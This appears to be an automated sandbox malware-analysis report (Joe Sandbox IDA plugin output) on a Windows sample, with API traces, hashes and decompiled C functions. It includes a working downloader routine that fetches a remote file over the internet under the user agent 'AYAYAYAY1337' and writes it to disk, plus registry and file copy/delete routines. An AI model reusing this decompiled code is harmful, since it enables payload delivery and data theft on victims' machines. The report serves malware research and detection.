0x00403c9b
0x00403ca5
0x00403ca7
0x00403cad
0x00403cb0
0x00403cba
0x00403cbc
0x00403cc2
0x00403cc7
0x00403ccf
0x00403cd1
0x00403cd6
0x00403cda
0x00403ce2
0x00403ce4
0x00403cea
0x00403cef
0x00403cf7
0x00403cf9
0x00403cfe
0x00403d06
0x00403d0d
0x00403d0d
0x00403ce4
0x00403cbc
0x00403c94
0x00403d0f
0x00403d0f
0x00403d25
0x00403d2e
0x00403d39
0x00403d3f
0x00403d43
0x00403d48
0x00403d48
0x00000000
0x00403c5f
0x00403c5f
0x00403c68
0x00403c70
0x00000000
0x00403c70
0x00403c36
0x00403c36
0x00000000
0x00403c36
0x00403c28
0x00403c28
0x00403c2a
0x00403c2a
0x00000000
0x00403c2a

APIs

LocalAlloc.KERNEL32(00000040,00000228,00000000,?,?,?,?,?,00000000), ref: 00403B22
PathCombineW.SHLWAPI(00000000,?,?,?,?,00000000), ref: 00403B43
GetProcAddress.KERNEL32(?), ref: 00403B53
GetProcAddress.KERNEL32(?), ref: 00403B65
GetProcAddress.KERNEL32(?), ref: 00403B77
GetProcAddress.KERNEL32(?), ref: 00403B89
GetProcAddress.KERNEL32(?), ref: 00403B9B
GetProcAddress.KERNEL32(?), ref: 00403BAD
GetProcAddress.KERNEL32(?), ref: 00403BBF
GetProcAddress.KERNEL32(?), ref: 00403BD1
LocalAlloc.KERNEL32(00000040,00000208,?,?,?,00000000), ref: 00403BE3

Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C391
Part of subcall function 0041C37E: RealDriveType.SHELL32(49068A3F,00000000), ref: 0041C39F
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3A5
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3AB
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3B1
Part of subcall function 0041C37E: RealDriveType.SHELL32(90F51192,00000000), ref: 0041C3BA
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3C0
Part of subcall function 0041C37E: RealDriveType.SHELL32(8030BDD6,00000000), ref: 0041C3C9
Part of subcall function 0041C37E: RealDriveType.SHELL32(3529F220,00000000), ref: 0041C3D2
Part of subcall function 0041C37E: RealDriveType.SHELL32(44900BA8,00000000), ref: 0041C3DB
Part of subcall function 0041C37E: RealDriveType.SHELL32(80627B6F,00000000), ref: 0041C3E4
Part of subcall function 0041C37E: RealDriveType.SHELL32(4B2F893E,00000000), ref: 0041C3ED
Part of subcall function 0041C37E: RealDriveType.SHELL32(9237E9C0,00000000), ref: 0041C3F6
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3FC
Part of subcall function 0041C37E: RealDriveType.SHELL32(001C2176,00000000), ref: 0041C405
Part of subcall function 0041C37E: RealDriveType.SHELL32(DCD15041,00000000), ref: 0041C40E
Part of subcall function 0041C37E: RealDriveType.SHELL32(06ACA385,00000000), ref: 0041C417
Part of subcall function 0041C37E: RealDriveType.SHELL32(54EEC891,00000000), ref: 0041C420
Part of subcall function 0041C37E: RealDriveType.SHELL32(6F107F95,00000000), ref: 0041C429
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C42F
Part of subcall function 0041C37E: RealDriveType.SHELL32(1A1C9336,00000000), ref: 0041C438
Part of subcall function 0041C37E: RealDriveType.SHELL32(DF38BEB2,00000000), ref: 0041C441
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C447
Part of subcall function 0041C37E: RealDriveType.SHELL32(1D427676,00000000), ref: 0041C450
Part of subcall function 0041C37E: RealDriveType.SHELL32(2EC4F5A1,00000000), ref: 0041C459
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C45F
Part of subcall function 0041C37E: RealDriveType.SHELL32(3921A8C1,00000000), ref: 0041C468
Part of subcall function 0041C37E: RealDriveType.SHELL32(E7FE911E,00000000), ref: 0041C471
Part of subcall function 0041C37E: RealDriveType.SHELL32(3D01E728,00000000), ref: 0041C47A
Part of subcall function 0041C37E: RealDriveType.SHELL32(AEAA71A1,00000000), ref: 0041C483

CopyFileW.KERNELBASE(?,00000000,00000000,?,?,?,00000000), ref: 00403C07
lstrlenW.KERNEL32(00000000), ref: 00403CB4

Part of subcall function 0041AD76: RealDriveType.SHELL32(DB4B90B6,00000000), ref: 0041AD91
Part of subcall function 0041AD76: RealDriveType.SHELL32(F6C33797,00000000), ref: 0041AD9A
Part of subcall function 0041AD76: RealDriveType.SHELL32(B4FED3B4,00000000), ref: 0041ADA3
Part of subcall function 0041AD76: RealDriveType.SHELL32(E053CF6F,00000000), ref: 0041ADAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(9F1C7DF3,00000000), ref: 0041ADB5
Part of subcall function 0041AD76: RealDriveType.SHELL32(798F4A1B,00000000), ref: 0041ADBE
Part of subcall function 0041AD76: RealDriveType.SHELL32(425CBB03,00000000), ref: 0041ADC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADD3
Part of subcall function 0041AD76: RealDriveType.SHELL32(EA97A208,00000000), ref: 0041ADDC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADE6
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADEC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADF2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DF46B1FA,00000000), ref: 0041ADFB
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC90E4E7,00000000), ref: 0041AE08
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE12
Part of subcall function 0041AD76: RealDriveType.SHELL32(50B39D8C,00000000), ref: 0041AE1B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE25
Part of subcall function 0041AD76: RealDriveType.SHELL32(CE8B1640,00000000), ref: 0041AE2E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE38
Part of subcall function 0041AD76: RealDriveType.SHELL32(01DAA5FB,00000000), ref: 0041AE41
Part of subcall function 0041AD76: RealDriveType.SHELL32(C79127D6,00000000), ref: 0041AE4E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE58
Part of subcall function 0041AD76: RealDriveType.SHELL32(6B26D139,00000000), ref: 0041AE61
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE6B
Part of subcall function 0041AD76: RealDriveType.SHELL32(E9760AD3,00000000), ref: 0041AE74
Part of subcall function 0041AD76: RealDriveType.SHELL32(2BEFB636,00000000), ref: 0041AE81
Part of subcall function 0041AD76: RealDriveType.SHELL32(04751878,00000000), ref: 0041AE8E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE98
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE9E

Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AEA4
Part of subcall function 0041AD76: RealDriveType.SHELL32(273488AB,00000000), ref: 0041AEAD
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC61A23F,00000000), ref: 0041AEBA
Part of subcall function 0041AD76: RealDriveType.SHELL32(B3DAA166,00000000), ref: 0041AEC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AED1
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AED7
Part of subcall function 0041AD76: RealDriveType.SHELL32(D938E356,00000000), ref: 0041AEE0
Part of subcall function 0041AD76: lstrlenW.KERNEL32(00000000,?,00413AB2), ref: 0041AEE7
Part of subcall function 0041AD76: lstrlenW.KERNEL32(?,?,00413AB2), ref: 0041AEF0
Part of subcall function 0041AD76: RealDriveType.SHELL32(070D2202,00000000), ref: 0041AF02
Part of subcall function 0041AD76: RealDriveType.SHELL32(1B94926A,00000000), ref: 0041AF0F
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF19
Part of subcall function 0041AD76: RealDriveType.SHELL32(C8C42F5E,00000000), ref: 0041AF22
Part of subcall function 0041AD76: RealDriveType.SHELL32(D76050E1,00000000), ref: 0041AF2F
Part of subcall function 0041AD76: RealDriveType.SHELL32(1B837923,00000000), ref: 0041AF3C
Part of subcall function 0041AD76: RealDriveType.SHELL32(9064BFC7,00000000), ref: 0041AF49
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF53
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF59
Part of subcall function 0041AD76: RealDriveType.SHELL32(AFE6E195,00000000), ref: 0041AF62
Part of subcall function 0041AD76: RealDriveType.SHELL32(3CCCC8AD,00000000), ref: 0041AF6F
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF79
Part of subcall function 0041AD76: RealDriveType.SHELL32(49AB8BAF,00000000), ref: 0041AF82
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF8C
Part of subcall function 0041AD76: RealDriveType.SHELL32(49B60F98,00000000), ref: 0041AF95
Part of subcall function 0041AD76: RealDriveType.SHELL32(05950617,00000000), ref: 0041AFA2
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(469C9C40,00000000), ref: 0041AFB5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFBF
Part of subcall function 0041AD76: RealDriveType.SHELL32(429F1FBD,00000000), ref: 0041AFC8
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFD2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DE0C8199,00000000), ref: 0041AFDB
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFE5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFEB

lstrlenW.KERNEL32(?), ref: 00403CDC

Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFF1
Part of subcall function 0041AD76: RealDriveType.SHELL32(E995579D,00000000), ref: 0041AFFA
Part of subcall function 0041AD76: RealDriveType.SHELL32(84B4EFE9,00000000), ref: 0041B007
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B011
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B017
Part of subcall function 0041AD76: RealDriveType.SHELL32(69DD92CF,00000000), ref: 0041B020
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B02A
Part of subcall function 0041AD76: RealDriveType.SHELL32(D60D9783,00000000), ref: 0041B033
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B03D
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B043
Part of subcall function 0041AD76: RealDriveType.SHELL32(D524453E,00000000), ref: 0041B04C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B056
Part of subcall function 0041AD76: LocalAlloc.KERNELBASE(00000040,00000000,?,?,00413AB2), ref: 0041B05E
Part of subcall function 0041AD76: RealDriveType.SHELL32(95C49318,00000000), ref: 0041B079
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B083
Part of subcall function 0041AD76: RealDriveType.SHELL32(1DCFFBF4,00000000), ref: 0041B090
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B09A
Part of subcall function 0041AD76: RealDriveType.SHELL32(9C735FFF,00000000), ref: 0041B0A7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0B1
Part of subcall function 0041AD76: RealDriveType.SHELL32(68C482AD,00000000), ref: 0041B0BE
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0C8
Part of subcall function 0041AD76: RealDriveType.SHELL32(691D272A,00000000), ref: 0041B0D5
Part of subcall function 0041AD76: RealDriveType.SHELL32(DBDB247C,00000000), ref: 0041B0E2
Part of subcall function 0041AD76: RealDriveType.SHELL32(89A7247D,00000000), ref: 0041B0EF
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0F9
Part of subcall function 0041AD76: RealDriveType.SHELL32(7BCCF2AA,00000000), ref: 0041B106
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B110
Part of subcall function 0041AD76: RealDriveType.SHELL32(FD492CE4,00000000), ref: 0041B11D
Part of subcall function 0041AD76: RealDriveType.SHELL32(9D6BEA8D,00000000), ref: 0041B12A
Part of subcall function 0041AD76: RealDriveType.SHELL32(E0F34789,00000000), ref: 0041B137
Part of subcall function 0041AD76: RealDriveType.SHELL32(044B76F0,00000000), ref: 0041B144
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B14E

Part of subcall function 0041AD76: RealDriveType.SHELL32(F4BADB94,00000000), ref: 0041B15B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B165
Part of subcall function 0041AD76: RealDriveType.SHELL32(EE3E27F5,00000000), ref: 0041B172
Part of subcall function 0041AD76: RealDriveType.SHELL32(48485EFA,00000000), ref: 0041B17F
Part of subcall function 0041AD76: RealDriveType.SHELL32(070B9A41,00000000), ref: 0041B18C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B196
Part of subcall function 0041AD76: RealDriveType.SHELL32(571FE76C,00000000), ref: 0041B1A3
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1AD
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1B7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1C1
Part of subcall function 0041AD76: RealDriveType.SHELL32(52ABA1CE,00000000), ref: 0041B1CE
Part of subcall function 0041AD76: RealDriveType.SHELL32(B9749A76,00000000), ref: 0041B1DB
Part of subcall function 0041AD76: RealDriveType.SHELL32(50A3EE5B,00000000), ref: 0041B1E8
Part of subcall function 0041AD76: RealDriveType.SHELL32(85FA4239,00000000), ref: 0041B1F5
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B1FF
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B209
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B213
Part of subcall function 0041AD76: RealDriveType.SHELL32(6EFD5CA5,00000000), ref: 0041B231
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B23B
Part of subcall function 0041AD76: RealDriveType.SHELL32(0FD92313,00000000), ref: 0041B244
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B24A
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B250
Part of subcall function 0041AD76: RealDriveType.SHELL32(E4AA7B61,00000000), ref: 0041B259
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B25F
Part of subcall function 0041AD76: RealDriveType.SHELL32(9267EC63,00000000), ref: 0041B268
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B26E
Part of subcall function 0041AD76: RealDriveType.SHELL32(DA224DC3,00000000), ref: 0041B277
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B27D
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B283
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B289
Part of subcall function 0041AD76: RealDriveType.SHELL32(A7867F73,00000000), ref: 0041B292

Part of subcall function 0041AD76: RealDriveType.SHELL32(4E7350CF,00000000), ref: 0041B29B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2A1
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2A7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2AD
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2B3
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2B9
Part of subcall function 0041AD76: RealDriveType.SHELL32(8A17A7AE,00000000), ref: 0041B2C2
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2C8
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2CE
Part of subcall function 0041AD76: RealDriveType.SHELL32(B95CF60A,00000000), ref: 0041B2D7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B2DD
Part of subcall function 0041AD76: RealDriveType.SHELL32(7CCFEA8C,00000000), ref: 0041B2E6
Part of subcall function 0041AD76: RealDriveType.SHELL32(D60CCAF0,00000000), ref: 0041B2EF
Part of subcall function 0041AD76: RealDriveType.SHELL32(8B5FE606,00000000), ref: 0041B2F8
Part of subcall function 0041AD76: RealDriveType.SHELL32(642C6F94,00000000), ref: 0041B301
Part of subcall function 0041AD76: RealDriveType.SHELL32(D2826C73,00000000), ref: 0041B30A
Part of subcall function 0041AD76: RealDriveType.SHELL32(713B5C57,00000000), ref: 0041B313
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B319
Part of subcall function 0041AD76: RealDriveType.SHELL32(0C8175A7,00000000), ref: 0041B322
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B328
Part of subcall function 0041AD76: RealDriveType.SHELL32(696CF4EC,00000000), ref: 0041B331
Part of subcall function 0041AD76: RealDriveType.SHELL32(7FF3D359,00000000), ref: 0041B33A
Part of subcall function 0041AD76: GlobalFree.KERNEL32(?), ref: 0041B33F
Part of subcall function 0041AD76: RealDriveType.SHELL32(70AECD0D,00000000), ref: 0041B34C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B352
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B358
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B35E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B364
Part of subcall function 0041AD76: RealDriveType.SHELL32(AB226166,00000000), ref: 0041B36D
Part of subcall function 0041AD76: RealDriveType.SHELL32(1875566A,00000000), ref: 0041B376
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B37C
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B382
Part of subcall function 0041AD76: RealDriveType.SHELL32(001CBF60,00000000), ref: 0041B38B

DeleteFileW.KERNELBASE(?), ref: 00403D39
LocalFree.KERNEL32(00000000), ref: 00403D48
LocalFree.KERNEL32(?,?,?,?,00000000), ref: 00403D52
DeleteFileW.KERNEL32(00000000,?,?,?,00000000), ref: 00403D65
LocalFree.KERNEL32(00000000,?,?,?,00000000), ref: 00403D6E

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$Path$Slow$AddressProc$Local$Freelstrlen$AllocFile$Delete$CombineCopyGlobal
String ID:
API String ID: 1411883002-0
Opcode ID: 725e5370269c8ccba883dc7a59459a6138b971be373d43a50ce742b659be0f3c
Instruction ID: 6f4879e113afec8d3e0f2d6b61c5529f67c36d71730a8488a3858ed91db35530
Opcode Fuzzy Hash: 725e5370269c8ccba883dc7a59459a6138b971be373d43a50ce742b659be0f3c
Instruction Fuzzy Hash: 2B615931700114FFDB215FA0EC08AA97BBAFF04713B508575E915E62B0EB398B528B59

Uniqueness

Uniqueness Score: -1.00%

Function 0041393E Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 117
filenetworkstringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041393E(WCHAR* __ecx, WCHAR* __edx, WCHAR* _a4) {
				long _v8;
				WCHAR* _v12;
				long _v16;
				void _v2064;
				void* _t27;
				WCHAR* _t29;
				signed int _t30;
				void* _t33;
				void* _t36;
				void* _t38;
				int _t41;
				void* _t49;
				signed short* _t50;
				void* _t51;
				void* _t52;
				signed int _t54;
				void* _t58;
				void* _t59;
				WCHAR* _t60;
				void* _t61;
				void* _t72;

				_v12 = __edx;
				_t60 = __ecx;
				_t59 = LocalAlloc(0x40, 0x208);
				if( *_t60 != 0x68) {
					L14:
					LocalFree(_t59);
					return 0;
				}
				_t27 = 0x74;
				if(_t60[1] != _t27 || _t60[2] != _t27 || _t60[3] != 0x70) {
					goto L14;
				} else {
					_v16 = _t60[4] & 0x0000ffff;
					_t29 = StrStrW(_t60,  *0x4234c4);
					_t58 = 0;
					_v8 = 0x2f;
					_t8 =  &(_t29[3]); // 0x6
					_t50 = _t8;
					_t30 =  *_t50 & 0x0000ffff;
					_t54 = _t30;
					if(_t30 == _v8) {
						L7:
						lstrlenW(_t59);
						_t33 = InternetOpenW(L"AYAYAYAY1337", 0, 0, 0, 0); // executed
						_t51 = _t33;
						if(_t51 == 0) {
							goto L14;
						}
						_t56 =  ==  ? 0x84c00000 : 0x84400000;
						_t36 = InternetOpenUrlW(_t51, _t60, _v12, lstrlenW(_v12),  ==  ? 0x84c00000 : 0x84400000, 0); // executed
						_t52 = _t36;
						if(_t52 == 0) {
							goto L14;
						}
						_t38 = CreateFileW(_a4, 0x40000000, 0, 0, 2, 0x8000000, 0); // executed
						_t61 = _t38;
						_t72 = _t61 - 0xffffffff;
						while(_t72 != 0) {
							_t41 = InternetReadFile(_t52,  &_v2064, 0x800,  &_v8); // executed
							if(_t41 != 0) {
								if(_v8 == 0) {
									FindCloseChangeNotification(_t61); // executed
									LocalFree(_t59);
									return 1;
								}
								WriteFile(_t61,  &_v2064, _v8,  &_v16, 0); // executed
								continue;
							}
							goto L14;
						}
						goto L14;
					}
					_t49 = 0;
					do {
						_t58 = _t58 + 1;
						 *(_t49 + _t59) = _t54;
						_t49 = _t58 + _t58;
						_t54 =  *(_t49 + _t50) & 0x0000ffff;
					} while (_t54 != _v8);
					goto L7;
				}
			}

0x00413951
0x00413954
0x00413960
0x00413962
0x00413a78
0x00413a79
0x00000000
0x00413a7f
0x0041396a
0x0041396f
0x00000000
0x0041398a
0x00413995
0x00413998
0x0041399e
0x004139a0
0x004139a7
0x004139a7
0x004139aa
0x004139ad
0x004139b3
0x004139c9
0x004139ca
0x004139db
0x004139e1
0x004139e5
0x00000000
0x00000000
0x004139fc
0x00413a0f
0x00413a15
0x00413a19
0x00000000
0x00000000
0x00413a2f
0x00413a35
0x00413a37
0x00413a5b
0x00413a6e
0x00413a76
0x00413a40
0x00413a87
0x00413a8e
0x00000000
0x00413a96
0x00413a53
0x00000000
0x00413a59
0x00000000
0x00413a76
0x00000000
0x00413a5b
0x004139b5
0x004139b7
0x004139b7
0x004139b8
0x004139bc
0x004139bf
0x004139c3
0x00000000
0x004139b7

APIs

LocalAlloc.KERNEL32(00000040,00000208,00000000,-00000002,00000000), ref: 00413956
StrStrW.SHLWAPI(?), ref: 00413998
lstrlenW.KERNEL32(00000000), ref: 004139CA
InternetOpenW.WININET(AYAYAYAY1337,00000000,00000000,00000000,00000000), ref: 004139DB
lstrlenW.KERNEL32(00413C68,84400000,00000000), ref: 00413A03
InternetOpenUrlW.WININET(00000000,?,00413C68,00000000), ref: 00413A0F
CreateFileW.KERNELBASE(00413C68,40000000,00000000,00000000,00000002,08000000,00000000), ref: 00413A2F
WriteFile.KERNELBASE(00000000,?,00000000,00000073,00000000), ref: 00413A53
InternetReadFile.WININET(00000000,?,00000800,0000002F), ref: 00413A6E
LocalFree.KERNEL32(00000000), ref: 00413A79
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00413A87
LocalFree.KERNEL32(00000000), ref: 00413A8E

Strings

AYAYAYAY1337, xrefs: 004139D6
0@, xrefs: 0041393E

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: FileInternetLocal$FreeOpenlstrlen$AllocChangeCloseCreateFindNotificationReadWrite
String ID: 0@$AYAYAYAY1337
API String ID: 1693123340-4092011348
Opcode ID: dda48debb3a478512b16577c0850e97ed8c3f3ad267a180f8ec874248665006b
Instruction ID: 5b32e08ffcbe5a88ab2ae730f5c6661f630434b3d5b0ffe8082a761f0d270499
Opcode Fuzzy Hash: dda48debb3a478512b16577c0850e97ed8c3f3ad267a180f8ec874248665006b
Instruction Fuzzy Hash: 0841A271B00205BAEB209F609C49FBB7BBCEF04742F408576F945D61A0E7788F858B68

Uniqueness

Uniqueness Score: -1.00%

Function 00414AD2 Relevance: 15.1, APIs: 10, Instructions: 64
registrymemorystringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00414AD2(void* __ecx, intOrPtr* _a4) {
				void* _v8;
				int _v12;
				long _t10;
				int _t12;
				signed int _t18;
				void* _t23;
				void* _t29;
				intOrPtr* _t33;

				_push(__ecx);
				_push(__ecx);
				_v12 = 0x104;
				_t29 = LocalAlloc(0x40, 0x208);
				_t23 = LocalAlloc(0x40, 0x800);
				_t10 = RegOpenKeyExW(0x80000002,  *0x4232ec, 0, 0x20119,  &_v8); // executed
				if(_t10 == 0) {
					RegQueryValueExW(_v8,  *0x423538, 0, 0, _t29,  &_v12); // executed
				}
				RegCloseKey(_v8);
				_t12 = lstrlenW(_t29);
				_push(_t29);
				if(_t12 > 0) {
					wsprintfW(_t23,  *0x4233cc);
					_t33 = _a4;
					 *_t33 = E0041AD76( *_t33, _t23, __eflags);
					LocalFree(_t29);
					LocalFree(_t23);
					_t18 = 1;
					__eflags = 1;
				} else {
					_t18 = LocalFree() | 0xffffffff;
				}
				return _t18;
			}

0x00414ad5
0x00414ad6
0x00414ae1
0x00414af5
0x00414afd
0x00414b16
0x00414b1e
0x00414b30
0x00414b30
0x00414b39
0x00414b40
0x00414b46
0x00414b49
0x00414b5d
0x00414b63
0x00414b73
0x00414b75
0x00414b7c
0x00414b84
0x00414b84
0x00414b4b
0x00414b51
0x00414b51
0x00414b89

APIs

LocalAlloc.KERNEL32(00000040,00000208,00000000,00000001,00000000,?,?,?,004153EF,00000000), ref: 00414AE8
LocalAlloc.KERNEL32(00000040,00000800,?,?,?,004153EF,00000000), ref: 00414AF7
RegOpenKeyExW.KERNELBASE(80000002,00000000,00020119,00000000,?,?,?,004153EF,00000000), ref: 00414B16
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,00000104,?,?,?,004153EF,00000000), ref: 00414B30
RegCloseKey.ADVAPI32(00000000,?,?,?,004153EF,00000000), ref: 00414B39
lstrlenW.KERNEL32(00000000,?,?,?,004153EF,00000000), ref: 00414B40
LocalFree.KERNEL32(00000000,?,?,?,004153EF,00000000), ref: 00414B4B
wsprintfW.USER32 ref: 00414B5D

Part of subcall function 0041AD76: RealDriveType.SHELL32(DB4B90B6,00000000), ref: 0041AD91
Part of subcall function 0041AD76: RealDriveType.SHELL32(F6C33797,00000000), ref: 0041AD9A
Part of subcall function 0041AD76: RealDriveType.SHELL32(B4FED3B4,00000000), ref: 0041ADA3
Part of subcall function 0041AD76: RealDriveType.SHELL32(E053CF6F,00000000), ref: 0041ADAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(9F1C7DF3,00000000), ref: 0041ADB5
Part of subcall function 0041AD76: RealDriveType.SHELL32(798F4A1B,00000000), ref: 0041ADBE
Part of subcall function 0041AD76: RealDriveType.SHELL32(425CBB03,00000000), ref: 0041ADC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADD3
Part of subcall function 0041AD76: RealDriveType.SHELL32(EA97A208,00000000), ref: 0041ADDC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADE6
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADEC
